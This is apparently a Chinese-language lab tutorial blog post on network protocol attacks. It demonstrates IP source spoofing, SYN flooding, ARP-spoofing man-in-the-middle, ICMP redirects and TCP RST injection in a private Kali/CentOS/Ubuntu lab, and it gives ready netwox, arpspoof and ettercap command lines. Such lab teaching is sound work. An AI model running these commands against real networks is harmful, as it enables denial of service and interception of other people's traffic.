協定攻擊(一)

2020-10-03 14:00:21

1.IP源地址欺騙攻擊(dos攻擊)

原理

使用者端(kali)基於tcp第一次握手,給伺服器端(centos)傳送了大量標記位為SYN的包。
伺服器端收到來自使用者端的syn包後,對源ip返回標記位為syn_ack的包,這是第二次握手。
由於源ip是偽造的,所以返回的syn_ack包傳送不到正確的地方,更不要說得到迴應了。所以伺服器端一直是SYN-RCVD階段。
在這裡插入圖片描述

實驗環境

靶機:centos 7 192.168.0.120
攻擊機:kali linux 2020 192.168.0.118
網路拓撲環境:攻擊機和靶機處於同一內網。

步驟

攻擊機 偽造ip,傳送包

netwox 52 -E "0:1:2:3:4:5" -I "114.114.114.114" -e "00:0c:29:83:36:d7" -i "192.168.0.120"

在這裡插入圖片描述
Netwox 52 使用netwox 的52號模組進行IP源地址欺騙;
-E偽造的mac地址;
-I偽造的ip地址,這裡將ip地址偽裝成114.114.114.114;
-e一些資料說是目標mac地址,但是隨便輸入一個mac地址也可以;
-i目標ip地址。

靶機 開啟服務,監聽埠
開啟apache服務,然後使用tcpdump監聽80埠

systemctl start httpd
tcpdump -i ens33 tcp port 80 -n -nn

為了監聽80埠,所以這裡開啟apache服務
ens33 是你要開啟監聽的網路卡,可以用ip a(或ifconfig)檢視
在這裡插入圖片描述
這裡centos監聽到是114.114.114.114在傳送資料,而不是攻擊機的ip。說明偽裝源ip成功
在這裡插入圖片描述

因為靶機一直是syn-rcvd端,佔用執行緒,所以如果偽造ip傳送大量的包。影響其他正常使用者的存取,就可以造成dos攻擊

1.2 dos攻擊

攻擊機 kali
通過netwox的76模組對IP為192.168.0.120的80埠進行syn泛洪攻擊

netwox 76 -i 192.168.0.120 -p 80    

在這裡插入圖片描述使用ctrl+z停止攻擊

靶機 開啟監聽

tcpdump -i ens33 tcp port 80 -n -nn

在這裡插入圖片描述

2.ARP欺騙中間人攻擊

原理

ARP協定在設計時認為區域網內部的所有使用者都是可信的,當攻擊者滲透進入內網後,通過向區域網內節點快取中注入偽造的IP/MAC對映關係,從而進行欺騙,成為區域網內的中間人節點,即可以監聽並進一步篡改封包。

簡單來說,a廣播ARP請求,詢問IP地址為192.168.0.122的主機b的MAC地址。c收到廣播幀,發出ARP應答,告訴a自己是192.168.0.122,MAC地址是cc:cc:cc:cc:cc:cc。(之後,a發給b的所有流量都會發給c)

再通俗點講,就是a想與b通訊,a就在通訊錄(arp快取表)裡找b的聯絡方式。但是c已經提前把通訊錄改了,將b的聯絡方式換成自己的。所以a發給b的訊息其實都是發給c。

一般有兩種攻擊方式:
一種是斷網攻擊。c只欺騙ab中的某一方,一般是ab另某一方是閘道器的情況下。比如a是閘道器,c欺騙了b。b以為是在和閘道器a在通訊,實際上b是在與c通訊,於是b聯絡不上閘道器,導致斷網。

因為只欺騙其中一方,所以也叫單向欺騙。

arpspoof -i wlo1 -t 192.168.0.120         192.168.0.122

攻擊機欺騙192.168.0.120這臺主機,說我是192.168.0.122

第二種攻擊方式是arp嗅探。c把ab雙方都欺騙了,ab之間的通訊都經過c,於是ab的通訊內容被c竊取了

實驗環境

靶機:centos 192.168.0.120
靶機:ubuntu 192.168.0.122
攻擊機:kali 192.168.0.118
網路拓撲環境:攻擊機和靶機處於同一內網。

步驟

首先,靶機檢視arp快取表,這裡以centos為例

Arp -a

在這裡插入圖片描述
發現
ubuntu 192.168.0.122 的mac地址是00:0c:29:c2:35:04
kali 192.168.0.118 的mac地址是 00:0c:29:4d:43:00

然後,kali上使用ettercap進行中間人欺騙

ettercap -i eth0 -Tq -M arp:remote /192.168.0.120// /192.168.0.122//

192.168.0.120 、192.168.0.122是要欺騙的兩個ip
在這裡插入圖片描述此時,centos上再檢視arp快取表,發現,kali與ubuntu的mac地址一樣了

在這裡插入圖片描述
當然,在ubuntu上面,發現kali與centos的mac地址一樣
在這裡插入圖片描述

兩個靶機都已經把kali當作了對方
此時kali另開一個終端,開啟ip轉發功能, 將0改為1

echo 1 > /proc/sys/net/ipv4/ip_forward

在這裡插入圖片描述
Kali 監聽本地eth0網路卡

ettercap -Tq -i eth0

在這裡插入圖片描述
當centos與ubuntu傳輸資訊的時候,kali就能監聽到資訊
在這裡插入圖片描述

可供參考的資料

https://www.freebuf.com/articles/network/207238.html

3.ICMP重定向攻擊和防禦

原理

ICMP路由重定向攻擊(ICMPRedirectAttack)是指攻擊者偽裝成路由器傳送虛假的ICMP路由路徑控制報文,使得受害主機選擇攻擊者指定的路由路徑,從而進行嗅探或假冒攻擊的一種技術。

實驗環境

靶機:centos 192.168.0.120
攻擊機:kali 192.168.0.118

步驟

檢視centos中的路由表:

route –C -n

在這裡插入圖片描述

可以看到正常閘道器地址是102.168.0.1
linux系統中,預設不接受ICMP重定向報文。所以應該將0設定為1,就可進行ICMP重定向攻擊。

echo 1 > /proc/sys/net/ipv4/conf/all/accept_redirects
echo 1 > /proc/sys/net/ipv4/conf/ens33/accept_redirects
echo 1 > /proc/sys/net/ipv4/conf/default/accept_redirects

這裡要注意網路卡是eth0還是ens33
在這裡插入圖片描述
使用netwox中86號模組發起ICMP路由重定向攻擊

netwox 86 -g 192.168.0.118 -i 192.168.0.1
-g偽造路由ip(kali ip)  
-i原路由ip

在這裡插入圖片描述
然後用centos去 ping一下百度
可以看到已經重定向了
在這裡插入圖片描述
對照一下這是正常情況下ping百度的場景
在這裡插入圖片描述

4.TCP協定RST攻擊

原理

TCPRST攻擊中,攻擊主機kali可以通過嗅探方式監視通訊雙方win7和centos7之間的TCP連線,在獲得源、目標IP地址及埠,以及序列號之後,就可以結合IP源地址欺騙技術偽裝成通訊一方,傳送TCP重置報文給通訊另一方,在確保埠號一致及序列號落入TCP視窗之內的情況下,即可直接關閉這個TCP連線,造成通訊雙方正常網路通訊的中斷,達到拒絕服務的效果。

環境

靶機:ubuntu 192.168.0.122
靶機:centos 192.168.0.120
攻擊機:kali 192.168.0.118

步驟

ubuntu 使用nc開啟一個埠監聽(這裡監聽12345埠)

nc -lp 12345

在這裡插入圖片描述Centos 使用telnet遠端連線ubuntu的12345埠

telnet 192.168.0.122 12345

在這裡插入圖片描述
然後輸入12,123(隨便輸入什麼內容都行)
在這裡插入圖片描述
發現ubuntu這裡也同步監聽輸出了12,123。說明tcp連線成功
在這裡插入圖片描述
然後Kali啟用netwox 78模組進行tcp rst攻擊

netwox 78 -i 192.168.0.120

在這裡插入圖片描述

此時centos再傳送一個資料(這裡是1)過去,兩者就斷開了連線
在這裡插入圖片描述在這裡插入圖片描述

(這裡kali偽裝成centos 192.168.0.120 給 ubuntu 192.168.0.122傳送了一個rst包,然後ubuntu認為centos要終止連線,便斷開連線。)

5.SYN Flood攻擊

原理

TCPSYNFlood,又稱SYN洪泛攻擊,是目前最為有效和流行的一種拒絕服務攻擊形式。它利用TCP三次握手協定的缺陷,向目標主機傳送大量的偽造源地址的SYN連線請求,消耗目標主機的連線佇列資源,從而不能夠為正常使用者提供服務。

環境

靶機:centos 192.168.0.120
攻擊機:kali 192.168.0.118

步驟

Kali向centos 的22埠發起syn flood攻擊
首先,centos7中檢視當前22埠連線資訊

Netstat -an|grep 22

在這裡插入圖片描述
然後kali對centos的22埠發起syn flood攻擊

netwox 76 -i 192.168.0.120 -p 22

在這裡插入圖片描述
此時Centos7檢視22埠的tcp流量,發現有大量SYN_RECV狀態的包

在這裡插入圖片描述